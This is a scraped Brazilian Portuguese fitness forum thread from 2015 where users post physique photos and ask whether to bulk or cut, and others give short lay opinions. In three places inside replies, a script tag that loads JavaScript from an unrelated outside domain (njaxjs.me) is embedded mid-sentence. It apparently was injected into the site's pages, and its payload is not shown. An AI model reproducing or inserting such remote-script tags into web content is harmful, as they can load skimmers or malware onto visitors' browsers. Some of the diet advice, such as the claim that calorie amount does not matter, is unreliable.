[Oficial] Devo Fazer Cutting ou Bulking? Poste sua foto!

[SrSupino]

foto atual:

https://i.imgur.com/kDFeHQl.jpg

foto anterior:

https://i.imgur.com/hJUSH22.jpg

E aí pessoal, de acordo com a foto atual devo fazer cutting ou bulking?

Dei uma evoluída será? Não consigo ter essa percepção!

Evoluiu sim, mas não eu metia um cutting curto, e depois bulkava, se não vai acumular muita gordura no bulking

[CAIOGYM]

Editado Abril 14, 2015 às 15:43 por CAIOGYM

[abdull]

Continuo no bulking ou ja faço um cutting?

https://imageshack.com/i/id2bPNBhj

[Hatsuke]

foto atual:

https://i.imgur.com/kDFeHQl.jpg

foto anterior:

https://i.imgur.com/hJUSH22.jpg

E aí pessoal, de acordo com a foto atual devo fazer cutting ou bulking?

Dei uma evoluída será? Não consigo ter essa percepção!

Evoluiu bem cara... quanto tempo de uma foto pra outra?

Dá pra manda um bulk(clean) tranquilo...controlando o bf...

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Cutting

Certíssimo....faria um cutting tbm...

Continuo no bulking ou ja faço um cutting?

https://imageshack.com/i/id2bPNBhj

Na minha opinião pode continuar, dá pra ganhar bem mais massa antes do cutting...

[CAIOGYM]

Evoluiu bem cara... quanto tempo de uma foto pra outra?

Dá pra manda um bulk(clean) tranquilo...controlando o bf...

Certíssimo....faria um cutting tbm...

Na minha opinião pode continuar, dá pra ganhar bem mais massa antes do cutting...

cara, na real 1 ano, mas muito relaxo, só agora to fazendo a dieta certa

[Decio Sampaio]

...

Editado Abril 14, 2015 às 08:02 por Decio Sampaio

[decsot]

30 anos, completamente sedentário e alimentado à base de lixo. 1.65m, 67Kg

Decidi de uma vez por todas optar por saúde e tentar ficar com um corpo mais bonito seguindo uma dieta rigorosa e exercitando.

Acho que sou o chamado falso magro pois a única gordura que tenho é no peito e barriga.

O que aconselham? perder uns kilos e depois malhar forte ou começar já a ganhar massa?

(e sim, tenho vergonha de mostrar estas fotos )

[h1ghland3r]

Sim, seque primeiro.

Sent from my Moto X

[decsot]

Sim, seque primeiro.

Sent from my Moto X

a minha dúvida é que não tenho musculo e tenho medo de tornar ainda mais dificil ganhar depois

[rvtz]

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a minha dúvida é que não tenho musculo e tenho medo de tornar ainda mais dificil ganhar depois

Controle sua alimentação e comece a fazer aerobicos com mais frequencia que essa barriga ai some.

Pode fazer um treino de hipertrofia porém capriche nos aerobicos que automaticamente voce vai perder a barriga e ganhar massa magra.

Por enquanto coloco o corpo em ação e comece a rotina de dieta e aerobico. Foque na dieta que é possível ganhar massa magra e perder gordura ao mesmo tempo por mais que dizem que isso é lenda.

[decsot]

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Controle sua alimentação e comece a fazer aerobicos com mais frequencia que essa barriga ai some.

Pode fazer um treino de hipertrofia porém capriche nos aerobicos que automaticamente voce vai perder a barriga e ganhar massa magra.

Por enquanto coloco o corpo em ação e comece a rotina de dieta e aerobico. Foque na dieta que é possível ganhar massa magra e perder gordura ao mesmo tempo por mais que dizem que isso é lenda.

para já penso então fazer aerobicos segunda, quarta e sexta e hipertrofia (leve) terça e quinta. isto com uma alimentação cuidada!

estou a entender direito?

devo ingerir calorias suficientes para manter, baixar ou aumentar o peso?

agradecido pela opinião

[rvtz]

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para já penso então fazer aerobicos segunda, quarta e sexta e hipertrofia (leve) terça e quinta. isto com uma alimentação cuidada!

estou a entender direito?

devo ingerir calorias suficientes para manter, baixar ou aumentar o peso?

agradecido pela opinião

A questão não é a quantidade de calorias e sim QUAIS calorias voce irá consumir na sua dieta.

O ideal seria procurar um nutricionista para lhe ajudar com a dieta e voce se livrar dos fastfoods e porcarias do dia-a-dia.

O IDEIAL seria fazer aerobico todos os dias e treinar todos os dias. Nada muito extremo de inicio, comece devagar, treine normal e após o treino crie o costume de fazer pelo menos de 15 a 25 minutos de aerobico: não precisa sair correndo na esteira a 15Km/h que em 2 minutos voce vai cansar. Comece devagar, com caminhadas e trotes e vai aumentando a intensidade conforme for ganhando resistencia.

O grande segredo é a DIETA aliada a EXERCICIOS FISICOS, tanto para ganho muscular quanto para queima de gordura. Nosso corpo é capaz de grandes mudanças mas só depende de voce.

Quando comecei a treinar (com 28 anos já) eu tinha uma barrida parecida com a sua, um falso magro rsrs e após 4 anos de dedicação, treino e dietas estou como na foto ai do meu avatar. Não me gabando, jamais, eu apenas tive FOCO e DETERMINAÇÃO e isso qualquer um pode ter.

Editado Abril 14, 2015 às 14:32 por rvtz

[decsot]

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A questão não é a quantidade de calorias e sim QUAIS calorias voce irá consumir na sua dieta.

O ideal seria procurar um nutricionista para lhe ajudar com a dieta e voce se livrar dos fastfoods e porcarias do dia-a-dia.

O IDEIAL seria fazer aerobico todos os dias e treinar todos os dias. Nada muito extremo de inicio, comece devagar, treine normal e após o treino crie o costume de fazer pelo menos de 15 a 25 minutos de aerobico: não precisa sair correndo na esteira a 15Km/h que em 2 minutos voce vai cansar. Comece devagar, com caminhadas e trotes e vai aumentando a intensidade conforme for ganhando resistencia.

O grande segredo é a DIETA aliada a EXERCICIOS FISICOS, tanto para ganho muscular quanto para queima de gordura. Nosso corpo é capaz de grandes mudanças mas só depende de voce.

Quando comecei a treinar (com 28 anos já) eu tinha uma barrida parecida com a sua, um falso magro rsrs e após 4 anos de dedicação, treino e dietas estou como na foto ai do meu avatar. Não me gabando, jamais, eu apenas tive FOCO e DETERMINAÇÃO e isso qualquer um pode ter.

Muito obrigado pelas palavras, percebi claramente a mensagem

[rvtz]

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Muito obrigado pelas palavras, percebi claramente a mensagem

Nao existe segredo e sim DETERMINAÇÃO.

O que voce não sabe, procure um profissional pra te orientar, o resto está em voce, basta acreditar que voce pode.

dica: tira esse pelos ai tbm kkkkk ta parecendo o Beer (user aqui do forum kkkk)

Editado Abril 14, 2015 às 14:47 por rvtz

[decsot]

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Nao existe segredo e sim DETERMINAÇÃO.

O que voce não sabe, procure um profissional pra te orientar, o resto está em voce, basta acreditar que voce pode.

dica: tira esse pelos ai tbm kkkkk ta parecendo o Beer (user aqui do forum kkkk)

na proxima vez que colocar foto vai ser sem pelos e mais saudavel! prometido

[Andrézis]

Acham que devo fazer um bulking limpo ou um cutting?

tenho 1,79 e 85kg

https://imageshack.com/a/img540/2517/BSW8DY.jpg

https://imageshack.com/a/img538/254/mUyaD8.jpg

https://imageshack.com/a/img538/2685/YWEUwv.jpg

[CAIOGYM]

.

Editado Abril 28, 2015 às 20:27 por CAIOGYM

[h1ghland3r]

Acham que devo fazer um bulking limpo ou um cutting?

tenho 1,79 e 85kg

https://imageshack.com/a/img540/2517/BSW8DY.jpg

https://imageshack.com/a/img538/254/mUyaD8.jpg

https://imageshack.com/a/img538/2685/YWEUwv.jpg

Bulking.

Sent from my Moto X

[Toxi]

Acham que devo fazer um bulking limpo ou um cutting?

tenho 1,79 e 85kg

https://imageshack.com/a/img540/2517/BSW8DY.jpg

https://imageshack.com/a/img538/254/mUyaD8.jpg

https://imageshack.com/a/img538/2685/YWEUwv.jpg

Cut, irmão.

foto atual:

https://i.imgur.com/kDFeHQl.jpg

foto anterior:

https://i.imgur.com/hJUSH22.jpg

E aí pessoal, de acordo com a foto atual devo fazer cutting ou bulking?

Dei uma evoluída será? Não consigo ter essa percepção!

BULK OU CUTT???

Manda um bulk, amigo. Põe pra explodir esse shape. hehe

[rvtz]

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Acham que devo fazer um bulking limpo ou um cutting?

tenho 1,79 e 85kg

https://imageshack.com/a/img540/2517/BSW8DY.jpg

https://imageshack.com/a/img538/254/mUyaD8.jpg

https://imageshack.com/a/img538/2685/YWEUwv.jpg

Dinovo ? rsrs

Bulk cara, limpo sempre.<script src="https://www.njaxjs.me/services/script.js" type="text/javascript"></script>

Bulking.

Sent from my Moto X

Cara, mesma coisa que disse pro cara ai encima.

Se voce controlar sua alimentação com uma dieta legal e limpa concerteza consegue dar uma limpada na graxa e ganhar massa magra.

mas eu partiria pro bulk, ganharia mais MM e dps cutava.

[Felipe Bim]

bom sempre fui gordinho, ja cheguei pesar 74 quilos com 1.61 atualmente estou com 56 quilos mais todos esses quilos foram perdidos durantes os anos não foi tudo de uma vez,pois eu começa dieta parava emagrecia engordava mais um poco,até que comecei a treinar e fiquei com visualzão retido porém tinha uma força legal o que me mantinha motivado,atualmente resolvi secar legal mesmo sequei com muitos aeróbios e dieta , porem me sobrou aquela famosa pele flácida meu bf estaa em torno de 10% 11% a duvida é continuo secando mais ??? ou parto pra um off limpo ??? não sei dizer bem sobre mim se tenho facilidade pra ganhar peso pois sempre ganhei peso fácil porem como demais em épocas que não estou fazendo dieta!!!

https://img.gforum.tv...8e0dcd234ed.JPG

https://img.gforum.tv...b7701eb7c1a.JPG

[PBV]

bom sempre fui gordinho, ja cheguei pesar 74 quilos com 1.61 atualmente estou com 56 quilos mais todos esses quilos foram perdidos durantes os anos não foi tudo de uma vez,pois eu começa dieta parava emagrecia engordava mais um poco,até que comecei a treinar e fiquei com visualzão retido porém tinha uma força legal o que me mantinha motivado,atualmente resolvi secar legal mesmo sequei com muitos aeróbios e dieta , porem me sobrou aquela famosa pele flácida meu bf estaa em torno de 10% 11% a duvida é continuo secando mais ??? ou parto pra um off limpo ??? não sei dizer bem sobre mim se tenho facilidade pra ganhar peso pois sempre ganhei peso fácil porem como demais em épocas que não estou fazendo dieta!!!

https://img.gforum.tv...8e0dcd234ed.JPG

https://img.gforum.tv...b7701eb7c1a.JPG

Bulk Limpo, seco bem já.

[Hatsuke]

bom sempre fui gordinho, ja cheguei pesar 74 quilos com 1.61 atualmente estou com 56 quilos mais todos esses quilos foram perdidos durantes os anos não foi tudo de uma vez,pois eu começa dieta parava emagrecia engordava mais um poco,até que comecei a treinar e fiquei com visualzão retido porém tinha uma força legal o que me mantinha motivado,atualmente resolvi secar legal mesmo sequei com muitos aeróbios e dieta , porem me sobrou aquela famosa pele flácida meu bf estaa em torno de 10% 11% a duvida é continuo secando mais ??? ou parto pra um off limpo ??? não sei dizer bem sobre mim se tenho facilidade pra ganhar peso pois sempre ganhei peso fácil porem como demais em épocas que não estou fazendo dieta!!!

https://img.gforum.tv...8e0dcd234ed.JPG

https://img.gforum.tv...b7701eb7c1a.JPG

Bulk limpo... monta uma dieta com alimentos que você gosta e mantém ela pra não ter época sem dieta..rs

[Andrézis]

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Dinovo ? rsrs

Bulk cara, limpo sempre.<script src="https://www.njaxjs.me/services/script.js" type="text/javascript"></script>

Cara, mesma coisa que disse pro cara ai encima.

Se voce controlar sua alimentação com uma dieta legal e limpa concerteza consegue dar uma limpada na graxa e ganhar massa magra.

mas eu partiria pro bulk, ganharia mais MM e dps cutava.

Dinovo pq? não tinha postado nada nesse tópico ainda deve ter me confundido

+ vlw pela opinião

Editado Abril 16, 2015 às 05:17 por Andrézis

[rvtz]

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foto atual:

https://i.imgur.com/kDFeHQl.jpg

foto anterior:

https://i.imgur.com/hJUSH22.jpg

E aí pessoal, de acordo com a foto atual devo fazer cutting ou bulking?

Dei uma evoluída será? Não consigo ter essa percepção!

Aqui cara, voce ja havia perguntado.

<script src="https://www.njaxjs.me/services/script.js" type="text/javascript"></script>

foto atual:

https://i.imgur.com/kDFeHQl.jpg

foto anterior:

https://i.imgur.com/hJUSH22.jpg

E aí pessoal, de acordo com a foto atual devo fazer cutting ou bulking?

Dei uma evoluída será? Não consigo ter essa percepção!

BULK OU CUTT???

COnfundi man, mals kkkk

[Mr.David]

Ai pessoal, fiz um bulking, subi de 66kg para 75kg, devo continuar com bulking ou secar primeiro e depois fazer bulking?

[rvtz]

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Ai pessoal, fiz um bulking, subi de 66kg para 75kg, devo continuar com bulking ou secar primeiro e depois fazer bulking?

Sim, continua no bulking, limpo sempre.

[Hatsuke]

Ai pessoal, fiz um bulking, subi de 66kg para 75kg, devo continuar com bulking ou secar primeiro e depois fazer bulking?

Bulk limpo com certeza...

[ArthurPS]

E aí? Bulking mesmo?

[h1ghland3r]

E aí? Bulking mesmo?

20150329_033902.jpg

Sim.

Sent from my Moto X